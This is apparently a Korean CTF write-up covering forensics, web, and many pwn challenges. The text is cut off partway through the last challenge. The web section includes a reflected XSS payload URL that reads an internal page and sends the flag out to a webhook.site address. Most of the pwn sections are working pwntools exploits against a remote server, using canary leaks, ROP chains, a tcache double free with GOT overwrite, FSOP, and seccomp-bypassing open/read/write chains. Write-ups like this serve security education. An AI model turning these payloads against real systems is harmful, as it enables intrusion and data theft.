(미끼 힌트) 본문 하단의 -----BEGIN PKCS7----- 블록 
→ Base64 디코드 후 XOR(0x13) → shad0ws} 헤더 Message-ID의 로컬 파트를 Base58 디코드 
→ scpCTF{Ech0_ (4)+(1)+(3)을 이어 붙여 최종 복구.

note.txt 본문은 Base64로 포장되어 있지만, 실내용은 Base32입니다.

python - << 'PY'
import email, base64
from email import policy
from email.parser import BytesParser
with open('archive.eml','rb') as f:
    msg = BytesParser(policy=policy.default).parse(f)
for part in msg.walk():
    if part.get_filename() == 'note.txt':
        b64 = part.get_payload(decode=True)
        # b64 안쪽이 base32 문자열
        s = b64.decode().strip()
        print('base32 token:', s)
PY

Th3r3_ar3_

-----BEGIN PKCS7----- 블록 → Base64 → XOR(0x13)
python - << 'PY'
import re, base64, sys
pem = open('archive.eml','rb').read().decode(errors='ignore')
m = re.search(r'-----BEGIN PKCS7-----(.*?)-----END PKCS7-----', pem, re.S)
if not m:
    print('PKCS7 block not found'); sys.exit()
b64 = re.sub(r'\s+','', m.group(1))
raw = base64.b64decode(b64)
plain = bytes(x ^ 0x13 for x in raw)  # XOR 0x13
print(plain.decode(errors='ignore'))
PY

shad0ws}

Message-ID앞부분을 Base58로 디코드하면 앞머리 조각이 나옴
scpCTF{Ech0_
scpCTF{Ech0_Th3r3_ar3_shad0ws}

합치면 이게됨

WEB

Search


 

http://127.0.0.1:12000/search?query=%3C%2Fp%3E%3Cscript%3Efetch%28%27%2Fsearch%3Fquery%3D%257B%27%29.then%28r%3D%3Er.text%28%29%29.then%28t%3D%3E%7Bconst%20m%3Dt.match%28%2F%5BA-Za-z0-9_%5D%2A%5C%7B%5B%5E%7D%5D%2B%5C%7D%2F%29%3B%20if%28m%29%7Bnew%20Image%28%29.src%3D%27https%3A%2F%2Fwebhook.site%2F9f10e56b-05ce-49d9-813d-cb8365871f95%3Fflag%3D%27%2BencodeURIComponent%28m%5B0%5D%29%3B%7D%7D%29%3B%3C%2Fscript%3E%3Cp%3E

Reflected XSS
템플릿이 query 값을 필터 없이 렌더(사실상 {{ query | safe }} 류) → 스크립트 주입 가능.

내부 권한 차이가있음
외부 사용자는 비밀 노트를 볼 수 없지만, 관리자 봇은 127.0.0.1에서 접속하므로 내부 전용 콘텐츠(FLAG)를 볼 수 있음.

즉, /bot에 XSS URL을 제출 → 내부 권한으로 JS 실행 → 같은 오리진에서 비밀 페이지 다시 요청 → 플래그 추출 → 외부로 전송 흐름이 성립이됨.

내 대나무를 돌려줘!


메인 페이지(/)가 GraphQL 엔드포인트(/graphql)로부터 게시글 목록을 불러와 렌더링한다. 
자연스럽게 GraphQL 스키마를 까보면 재미있는 쿼리가 숨어 있다.
먼저 GraphQL 인트로스펙션으로 쿼리·뮤테이션을 해보니
Query에 dangerousQuery(query: String) 가 있다는 것을 확인했다.
실제로 값을 넣어보면 서버가 그대로 eval() 해줘서
서버구조 도커파일열어서 확인하고 
/animals_list를 재귀 탐색(os.walk)해서
파일명에 flag/bamboo가 들어가는 후보들을 쭉 읽어보게 만들었더니 flag를 얻었다.

Alien Shop


guest2
guest2!
로해서 로그인하면 화면처럼 환영쿠폰 3%할인인 WELCOME2025가나오게된다

사용자에게 기본으로 주는 자금은 250,000 캐시이다

공지사항18번엔 SPACELORD2025 (16% 할인)라는 코드가 있다.

글고 상점에서 첫번쨰 물품 id가 2번이길래 1번으로 했더니 소원권이라는 물건이 나왔다.
장바구니에서 찾은 두 쿠폰을 번갈아서 계속 쓸수있어서 그렇게 하고 소원권을 사면 FLAG를 얻을수있다.
 탈모제사볼걸...

PWN

성적 정정 시스템


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/성적 정정 시스템 0 [22:34:23]
~ checksec ./grade                                                                                          0 [22:34:23]
[*] '/mnt/p/ctfs/2025/JBU/pwn/성적 정정 시스템/grade'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

뭐 보호기법이 카나리만 걸려있다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init();
  printf("> Input Grade : ");
  read(0, buf, 0x100uLL);
  printf("> Check Input : ");
  puts(buf);
  printf("> Input Password : ");
  read(0, buf, 0x100uLL);
  puts("> Complete");
  return 0;
}

대놓고 BOF가 터진다 카나리에 널바이트를 덮어서 puts로 출력한 다음에 ROP하면 된다.

unsigned __int64 set_grade()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  system("/bin/sh");
  return v1 - __readfsqword(0x28u);
}

PIE도 안걸려있고 set_grade 함수에서 쉘을 주니 그냥 호출하면 된다.

from pwn import *

# p = process("./grade")
p = remote("3.34.157.211", 10011)
e = ELF("./grade")

p.sendafter(b"> Input Grade : ",b"A"*25)
p.recvuntil(b"A"*25)
canary = u64(b"\x00"+p.recvn(7))

payload = b"A"*24 + p64(canary) + p64(0) + p64(e.sym['set_grade']+5)
pause()
p.send(payload)

p.interactive()
scpCTF{Thx_f0r_th3_G3n3r0us_r34d_Pr0f3ss0r}

login_service


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/login_service 0 [22:40:57]
~ checksec ./prob                                                                                           0 [22:40:57]
[*] '/mnt/p/ctfs/2025/JBU/pwn/login_service/prob'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init(argc, argv, envp);
  banner();
  login_once();
  return 0;
}
int login_once()
{
  char s1[64]; // [rsp+0h] [rbp-70h] BYREF
  char buf[40]; // [rsp+40h] [rbp-30h] BYREF
  ssize_t v3; // [rsp+68h] [rbp-8h]

  puts("ID: ");
  v3 = read(0, buf, 0x1FuLL);
  puts("PW: ");
  read(0, s1, 0x200uLL);
  if ( !strcmp(buf, "admin") && !strcmp(s1, "s3cr3t") )
    return puts("Welcome, admin.");
  else
    return puts("Login failed.");
}

main 함수에서 호출하는 login_once 함수에서 BOF가 터진다.. 늘 그렇듯 이번에도 PIE가 안걸려있고

.text:00000000004011C7 ; void gadget()
.text:00000000004011C7                 public gadget
.text:00000000004011C7 gadget          proc near
.text:00000000004011C7 ; __unwind {
.text:00000000004011C7                 push    rbp
.text:00000000004011C8                 mov     rbp, rsp
.text:00000000004011CB                 pop     rdi
.text:00000000004011CC                 retn
.text:00000000004011CC gadget          endp
.text:00000000004011CC
.text:00000000004011CD ; ---------------------------------------------------------------------------
.text:00000000004011CD                 pop     rsi
.text:00000000004011CE                 retn
.text:00000000004011CF ; ---------------------------------------------------------------------------
.text:00000000004011CF                 pop     rdx
.text:00000000004011D0                 retn
.text:00000000004011D1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1]
.text:00000000004011D2                 db 90h
.text:00000000004011D3 ; ---------------------------------------------------------------------------
.text:00000000004011D3                 pop     rbp
.text:00000000004011D4                 retn
.text:00000000004011D4 ; } // starts at 4011C7
.text:00000000004011D5 ; int admin_shell()
.text:00000000004011D5                 public admin_shell
.text:00000000004011D5 admin_shell     proc near
.text:00000000004011D5 ; __unwind {
.text:00000000004011D5                 push    rbp
.text:00000000004011D6                 mov     rbp, rsp
.text:00000000004011D9                 lea     rax, format     ; "/bin/sh"
.text:00000000004011E0                 mov     rdi, rax        ; format
.text:00000000004011E3                 mov     eax, 0
.text:00000000004011E8                 call    _printf
.text:00000000004011ED                 nop
.text:00000000004011EE                 pop     rbp
.text:00000000004011EF                 retn
.text:00000000004011EF ; } // starts at 4011D5
.text:00000000004011EF admin_shell     endp
.text:00000000004011EF
.text:00000000004011F0

위에 굉장히 수상한 함수들이 있기 때문에 립씨 베이스 주소릭하고 쉘을 따주면된다.

from pwn import *

# p = remote("localhost",10012)
p = remote("3.34.157.211", 10012)
e = ELF("./prob")
libc = ELF("./libc.so.6")

p.sendafter(b"ID: \n",b"A")

payload = b"\x00"*0x70 
payload += p64(e.got['puts']) + p64(e.symbols['gadget']) + p64(e.plt['puts']) + p64(e.symbols['login_once'])

p.sendafter(b"PW: \n",payload)

p.recvline()
libc.address = u64(p.recvline()[:-1].ljust(8,b"\x00")) - libc.symbols['puts']
success(f"libc base addr : {hex(libc.address)}")

p.sendafter(b"ID: \n",b"A")

payload = b"\x00"*0x70 
payload += p64(next(libc.search(b"/bin/sh\x00"))) + p64(e.symbols['gadget']) + p64(0x4012DC) + p64(libc.symbols['system'])

p.sendafter(b"PW: \n",payload)

p.interactive()
scpCTF{L0g1n_F41l3d_But_I_G0t_A_Sh3ll}

The Big One


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/The Big One 0 [22:45:50]
~ checksec ./prob                                                                                           0 [22:45:50]
[*] '/mnt/p/ctfs/2025/JBU/pwn/The Big One/prob'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  banner(argc, argv);
  vault();
  return 0;
}
unsigned __int64 vault()
{
  char buf[32]; // [rsp+0h] [rbp-70h] BYREF
  _BYTE v2[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+68h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Input Name");
  read(0, buf, 31uLL);
  printf("Welcome, ");
  printf(buf);
  puts("Input Password:");
  read(0, v2, 0x200uLL);
  puts("Access denied.");
  return v3 - __readfsqword(0x28u);
}

대놓고 또 BOF가 터진다.. 늘 그렇듯 PIE도 안걸려있고, FSB까지 터져서 립씨릭하고 쉘을 따주면된다.

from pwn import *
context.arch = 'amd64'

# context.log_level = 'debug'
# p = remote("localhost",10013)
p = remote("3.34.157.211" ,10013)
libc = ELF("./libc.so.6")
e = ELF("./prob")
p.sendafter(b"Input Name\n",b"%19$p \n")
p.recvuntil(b"Welcome, ") 
canary = int(p.recvline()[:-1],16)

pop_rdi = 0x401205
pop_rsi = 0x401207
pop_rdx = 0x401209
pop_rbp = 0x40114d

payload = b"A"*72 + p64(canary) + p64(0) + p64(pop_rdi) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.symbols['vault'])

p.sendafter(b"Input Password:\n",payload)
p.recvline()
libc.address = u64(p.recvline()[:-1].ljust(8,b"\x00")) - libc.symbols['puts']

p.sendafter(b"Input Name\n",b"\x00")
payload = b"A"*72 + p64(canary) + p64(libc.address+0x205000) + p64(libc.address+0xef52b)
pause()
p.sendafter(b"Input Password:\n",payload)

p.interactive()
scpCTF{Th3_Pl4n_w4s_P3rf3ct_L34k_F1rst_Th3n_0v3rfl0w}

babyheap


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/babyheap 0 [22:50:53]
~ checksec ./babyheap                                                                                       0 [22:50:53]
[*] '/mnt/p/ctfs/2025/JBU/pwn/babyheap/babyheap'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    Stripped:   No
# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/babyheap 0 [22:50:36]
~ strings ./libc.so.6 | grep glibc                                                                          0 [22:50:36]
glibc 2.27
Fatal error: glibc detected an invalid stdio handle
Fatal glibc error: array index %zu not less than array length %zu
Fatal glibc error: invalid allocation buffer of size %zu
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

GLIBC 버전이 2.27로 너무 낮아서 그냥 디버깅을 포기하고 코드부터 분석했다.

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        __isoc99_scanf("%d", &v3);
        if ( v3 != 2 )
          break;
        delete();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      create();
    }
    if ( v3 != 3 )
    {
      if ( v3 == 4 )
      {
        printf("Your goal is : ");
        puts("/bin/sh");
        exit(0);
      }
LABEL_13:
      exit(0);
    }
    edit();
  }
}
void create()
{
  unsigned int idx; // [rsp+0h] [rbp-20h] MAPDST BYREF
  signed int nbytes; // [rsp+4h] [rbp-1Ch] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-18h]

  canary = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &idx);
  if ( idx < 0x10 )
  {
    if ( list[idx] )
    {
      puts("already allocated");
    }
    else
    {
      printf("size: ");
      __isoc99_scanf("%d", &nbytes);
      if ( nbytes > 0 && nbytes <= 64 )
      {
        list[idx] = malloc(nbytes);
        printf("data: ");
        read(0, list[idx], nbytes);
        puts("allocated!");
      }
      else
      {
        puts("size is between 1 and 64");
      }
    }
  }
  else
  {
    puts("index error");
  }
}
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 < 0x10 )
  {
    if ( list[v1] )
    {
      free(list[v1]);
      puts("freed!");
    }
    else
    {
      puts("not allocated");
    }
  }
  else
  {
    puts("index error");
  }
  return __readfsqword(0x28u) ^ v2;
}
void edit()
{
  unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &idx);
  if ( idx < 0x10 )
  {
    if ( list[idx] )
    {
      printf("data: ");
      read(0, list[idx], 0x40uLL);
      puts("edited!");
    }
    else
    {
      puts("not allocated");
    }
  }
  else
  {
    puts("index error");
  }
}

delete후에 포인터를 지우지 않아 댕글링 포인터가 남게되고 UAF write가 가능하다.

tcache에 관한 보호기법이 거의 없다(tache key는 있음.)

int __fastcall win(const char *a1)
{
  return system(a1);
}

그래서 대충 UAF로 tcache-key를 덮은 후에 DFB를 트리거후에 puts에 got에 win 함수 주소로 덮으면 쉘이 따진다.

from pwn import *

# p = process("./babyheap")
p = remote("3.34.157.211", 10017)
e = ELF("./babyheap")

def create(idx,size,data):
    p.sendlineafter(b"> ",b"1")
    p.sendlineafter(b"index: ",str(idx).encode())
    p.sendlineafter(b"size: ",str(size).encode())
    p.sendafter(b"data: ",data)

def delete(idx):
    p.sendlineafter(b"> ",b"2")
    p.sendlineafter(b"index: ",str(idx).encode())

def edit(idx,data):
    p.sendlineafter(b"> ",b"3")
    p.sendlineafter(b"index: ",str(idx).encode())
    p.sendafter(b"data: ",data)

create(0,0x20,b"A")
create(1,0x20,b"B")
create(2,0x20,b"C")

delete(0)
delete(1)

edit(0,b"\x00"*0x10)
delete(0)

edit(0,p64(e.got['puts']))

create(3,0x20,p64(e.symbols['win']))
create(4,0x20,p64(e.symbols['win']))

p.interactive() 
scpCTF{It_1s_A_R3AI_Baby_Ch@I1!}

stdin


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/stdin 0 [23:00:38]
~ checksec ./stdin                                                                                          2 [23:00:38]
[*] '/mnt/p/ctfs/2025/JBU/pwn/stdin/stdin'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[44]; // [rsp+0h] [rbp-30h] BYREF
  int v5; // [rsp+2Ch] [rbp-4h]

  init();
  v5 = open("/home/flag", 0);
  menu();
  read(0, buf, 0x100uLL);
  close(0);
  printf("%s", buf);
  return 0;
}

메인함수에서 BOF가 일어난후에 STDIN을 닫는다.. 그래서 나는 ROP문제인줄 알았다..

ret2main으로 메인을 한번 호출 해봤었는데.. 오잉 플래그가 나왔다? 그래서 루트커즈 분석을 해보니,

stdin(0)을 닫으므로 0번 FD가 비게 되고 ”/home/flag”의 FD가 비어있는 0번으로 할당되고 아래에 read 문에서 /flag 파일을 읽은뒤에 printf에서 출력하게 되는것이다.. 서버에서도 똑같이 동작을하였고 플래그를 얻을수 있었다.

from pwn import *

# p = process("./stdin")
p = remote("3.34.157.211", 10020)
e = ELF("./stdin")

payload =  b"\x00"*0x30 + p64(0x0000000000404000+0x500)
payload += p64(0x401431)
p.send(payload)

p.interactive()
scpCTF{N0_std1n??_Wh@t_th3_hel1}

관리자용 규칙 프로그램!


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/관리자용 규칙 프로그램! 0 [23:08:15]
~ checksec ./rules                                                                                          0 [23:08:15]
[*] '/mnt/p/ctfs/2025/JBU/pwn/관리자용 규칙 프로그램!/rules'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+8h] [rbp-28h] BYREF
  unsigned int v4; // [rsp+Ch] [rbp-24h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  init();
  print_rule();
  banner(argc, argv);
  puts("\n");
  puts("What is Your name?");
  read(0, buf, 48uLL);
  printf("Hello, Admin %s", buf);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("\n");
      menu();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 3 )
        break;
      puts("Read a Rule");
      __isoc99_scanf("%d", &v4);
      read_rule(v4);
    }
    if ( v3 > 3 )
    {
LABEL_10:
      puts("Invaild Input.");
    }
    else if ( v3 == 1 )
    {
      puts("Remind Rules. Don't Forget it!");
      print_rule();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_10;
      puts("What do yo want to edit rule number?");
      __isoc99_scanf("%d", &v4);
      edit_rule(v4);
    }
  }
}
int __fastcall read_rule(int a1)
{
  puts("You want to read a rule!");
  return puts(rule[a1 - 1]);
}
int __fastcall edit_rule(int a1)
{
  puts("Input Edit value");
  read(0, rule[a1 - 1], 0x200uLL);
  return puts("Edit fin!");
}

OOB read/write가 가능하다. 그래서 립씨 베이스릭하고 FSOP해주면 된다.

def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
                _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
                _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
                _flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
                _offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
                __pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00" * 0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

from pwn import *

# p = process("./rules")
p = remote("3.34.157.211", 10018)
e = ELF("./rules")
libc = ELF("./libc.so.6")

p.sendafter(b"What is Your name?\n",b"A"*0x28)
p.recvuntil(b"A"*0x28) 
# canary = u64(b"\x00"+p.recvn(7))
libc.address = u64(p.recvn(6).ljust(8,b"\x00")) - 0x29d90
success(f"libc addr : {hex(libc.address)}")

fake_fsop_struct = libc.sym['_IO_2_1_stdout_']
stdout_lock = libc.address + (0x7ffff7faea70 - 0x7ffff7d93000)
FSOP = FSOP_struct(
    flags=u64(b"\x01\x01\x01\x01;sh\x00"),
    lock=stdout_lock,
    _wide_data=fake_fsop_struct - 0x10,
    _markers=libc.symbols["system"],
    _unused2=p32(0x0) + p64(0x0) + p64(fake_fsop_struct - 0x8),
    vtable=libc.symbols["_IO_wfile_jumps"] - 0x20,
    _mode=0xFFFFFFFF,
)

p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"What do yo want to edit rule number?\n",b"7")
p.sendafter(b"Input Edit value\n",FSOP)

p.interactive()
scpCTF{Ru13_Is_IMp0rt@nt!}

errorshell


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/errorshell 0 [23:13:06]
~ checksec ./errorshell                                                                                     0 [23:13:06]
[*] '/mnt/p/ctfs/2025/JBU/pwn/errorshell/errorshell'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s1[16]; // [rsp+0h] [rbp-10h] BYREF

  init();
  menu(argc, argv);
  do
  {
    putchar('$');
    __isoc99_scanf("%s", s1);
    if ( !strncmp(s1, "pwd", 3uLL) )
    {
      puts("You are in ..");
      printf("%p\n", stdout);
      puts("no..");
      printf("%p\n", s1);
      puts("oh.. sorry you are here : /home/user");
    }
  }
  while ( strncmp(s1, "exit", 4uLL) );
  puts("GOODLUCK..!??!");
  return 0;
}

메인함수에서 BOF가 터지고 pwd 입력으로 립씨 베이스릭도 가능하다.

__int64 setup_seccomp_init()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  if ( !v1 )
  {
    perror("seccomp_init failed");
    exit(1);
  }
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  if ( seccomp_load(v1) < 0 )
  {
    perror("seccomp_load failed");
    seccomp_release(v1);
    exit(1);
  }
  return seccomp_release(v1);
}

execve/execveat syscall을 kill해버리기 때문에 FLAG경로에 ORW을 떄려주면 된다.

/home/FFFFFFffffffLLLLLLllllllAAAAAAGGGGGG
.rodata:0000000000402058 ; const char aPplezzFinddHom[]
.rodata:0000000000402058 aPplezzFinddHom db 'PPLeZZ FIndD /home/FFFFFFffffffLLLLLLllllllAAAAAAGGGGGG.txt that '
.rodata:0000000000402058                                      
/home/FFFFFFffffffLLLLLLllllllAAAAAAGGGGGG.txt

문제설명에선 .txt가 안붙어있는데 설명문엔 .txt가 붙이있다 그래서 .txt가 붙이있는 경로로 ORW해주면된다.

근데 로컬에선 flag 파일의 FD가 3인데 서버에선 소켓등 다른 프로그램이 FD를 써버려서 6까지 밀려난다.

from pwn import *

# p = process("./errorshell")
p = remote("3.34.157.211", 10016)
e = ELF("./errorshell")
libc = ELF("libc.so.6")

context.log_level = 'debug'
p.sendlineafter(b"$",b"pwd")

p.recvuntil(b"You are in ..\n")
libc.address = int(p.recvline()[:-1],16) - libc.symbols["_IO_2_1_stdout_"]
p.recvuntil(b"no..\n")
stack = int(p.recvline()[:-1],16)

print(hex(libc.address),hex(stack))

pop_rdi = 0x1b89de+libc.address
pop_rsi = 0x174166+libc.address
pop_rdx_rbx = 0x174e76+libc.address

# context.log_level = "debug"
payload = b"\x00" * 0x10 + p64(stack) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(0x404200) + p64(pop_rdx_rbx) + p64(0x1000)*2 + p64(libc.symbols['read']) + p64(pop_rdi+1) + p64(e.symbols['main'])
p.sendlineafter(b"$",payload)
p.sendlineafter(b"$",b"exit")

fd = int(input("fd: "))
payload = p64(pop_rdi) + p64(0x4042c0) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0)*2 + p64(libc.symbols['open']) + p64(pop_rdi) + p64(fd) + p64(pop_rsi)  + p64(0x404400) + p64(pop_rdx_rbx) + p64(0x100)*0x2 + p64(libc.symbols['read']) + p64(pop_rdi) + p64(0x1) + p64(pop_rsi) + p64(0x404400) + p64(pop_rdx_rbx) + p64(0x100)*0x2 + p64(libc.symbols['write']) + b"/home/FFFFFFffffffLLLLLLllllllAAAAAAGGGGGG.txt\x00"
p.sendafter(b"GOODLUCK..!??!",payload)

payload = b"\x00" * 0x10 + p64(0x404200-0x8) + p64(0x4014DF)
p.sendlineafter(b"$",payload)
pause()
p.sendlineafter(b"$",b"exit")

p.interactive()
scpCTF{H0vv_U_oP3n_fl4g_fI1e??}

session_mgmt


# root @ daeseong in /mnt/p/ctfs/2025/JBU/pwn/session_mgmt 0 [23:18:53]
~ checksec ./deploy/chall                                                                                   2 [23:18:53]
[*] '/mnt/p/ctfs/2025/JBU/pwn/session_mgmt/deploy/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

보호기법이 다 걸려있다.

00000000 struct __fixed session // sizeof=0x38
00000000 {
00000000     __int64 OTP;
00000008     __int64 idx;
00000010     __int64 len;
00000018     msg msg;
00000038 };

00000000 struct __fixed msg // sizeof=0x20
00000000 {                                       // XREF: session/r
00000000     void *data;
00000008     __int64 time;
00000010     __int64 inuse;
00000018     __int64 func;
00000020 };
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+8h] [rbp-D8h]
  int v5; // [rsp+Ch] [rbp-D4h]
  unsigned int v6; // [rsp+10h] [rbp-D0h]
  unsigned int v7; // [rsp+14h] [rbp-CCh]
  pthread_t newthread; // [rsp+18h] [rbp-C8h] BYREF
  char *s1; // [rsp+20h] [rbp-C0h]
  char *v10; // [rsp+28h] [rbp-B8h]
  char *v11; // [rsp+30h] [rbp-B0h]
  char *nptr; // [rsp+38h] [rbp-A8h]
  char *v13; // [rsp+40h] [rbp-A0h]
  size_t v14; // [rsp+48h] [rbp-98h]
  char s[136]; // [rsp+50h] [rbp-90h] BYREF
  unsigned __int64 canary; // [rsp+D8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  if ( pthread_create(&newthread, 0LL, start_routine, 0LL) )
  {
    perror("pthread_create cleanup");
    exit(1);
  }
  while ( 1 )
  {
    printf("\nCommands:\n  create <index> <length>\n  update <index>\n  status\n  show <index>\n  exit\n> ");
    if ( !fgets(s, 128, stdin) )
      break;
    s[strcspn(s, "\n")] = 0;
    s1 = strtok(s, " ");
    if ( s1 )
    {
      if ( !strcmp(s1, "create") )
      {
        nptr = strtok(0LL, " ");
        v13 = strtok(0LL, " ");
        if ( nptr && v13 )
        {
          v7 = atoi(nptr);
          v14 = atoi(v13);
          create(v7, v14);
        }
        else
        {
          puts("Usage: create <index> <length>");
        }
      }
      else if ( !strcmp(s1, "update") )
      {
        v11 = strtok(0LL, " ");
        if ( !v11 )
          goto LABEL_12;
        v6 = atoi(v11);
        update(v6);
      }
      else if ( !strcmp(s1, "status") )
      {
        status();
      }
      else if ( !strcmp(s1, "show") )
      {
        v10 = strtok(0LL, " ");
        if ( v10 )
        {
          v5 = atoi(v10);
          (sessions[v5]->msg.func)(sessions[v5]->msg.data);
        }
        else
        {
LABEL_12:
          puts("Usage: update <index>");
        }
      }
      else
      {
        if ( !strcmp(s1, "exit") )
          break;
        puts("Unknown command.");
      }
    }
  }
  pthread_mutex_lock(&mutex);
  for ( i = 0; i <= 9; ++i )
  {
    if ( sessions[i] && sessions[i]->msg.inuse )
    {
      free(sessions[i]->msg.data);
      free(sessions[i]);
      sessions[i] = 0LL;
    }
  }
  pthread_mutex_unlock(&mutex);
  pthread_cancel(newthread);
  pthread_join(newthread, 0LL);
  return 0LL;
}
void __fastcall __noreturn start_routine(void *a1)
{
  int i; // [rsp+14h] [rbp-9Ch]
  char s[136]; // [rsp+20h] [rbp-90h] BYREF
  unsigned __int64 v3; // [rsp+A8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    pthread_mutex_lock(&mutex);
    for ( i = 0; i <= 9; ++i )
    {
      if ( sessions[i] && sessions[i]->msg.inuse && time(0LL) - sessions[i]->msg.time > 4 )
      {
        sessions[i]->msg.inuse = 0LL;
        free(sessions[i]->msg.data);
        free(sessions[i]);
        snprintf(s, 0x80uLL, "Session %d expired. Initiating cleanup.", i);
        sub_1417(s);
      }
    }
    pthread_mutex_unlock(&mutex);
  }
}
int __fastcall create(int index, size_t len)
{
  session *ptr; // [rsp+18h] [rbp-8h]

  if ( index >= 0xA )
    return puts("Invalid session index.");
  pthread_mutex_lock(&mutex);
  if ( sessions[index] && sessions[index]->msg.inuse )
  {
    printf("Session at index %d already exists and is valid.\n", index);
    return pthread_mutex_unlock(&mutex);
  }
  else
  {
    ptr = malloc(0x38uLL);
    if ( ptr )
    {
      ptr->idx = index;
      ptr->OTP = rand() % 1000;
      ptr->len = len;
      ptr->msg.data = malloc(len);
      if ( ptr->msg.data )
      {
        memset(ptr->msg.data, 0, len);
        ptr->msg.time = time(0LL);
        ptr->msg.inuse = 1LL;
        ptr->msg.func = sub_13E9;
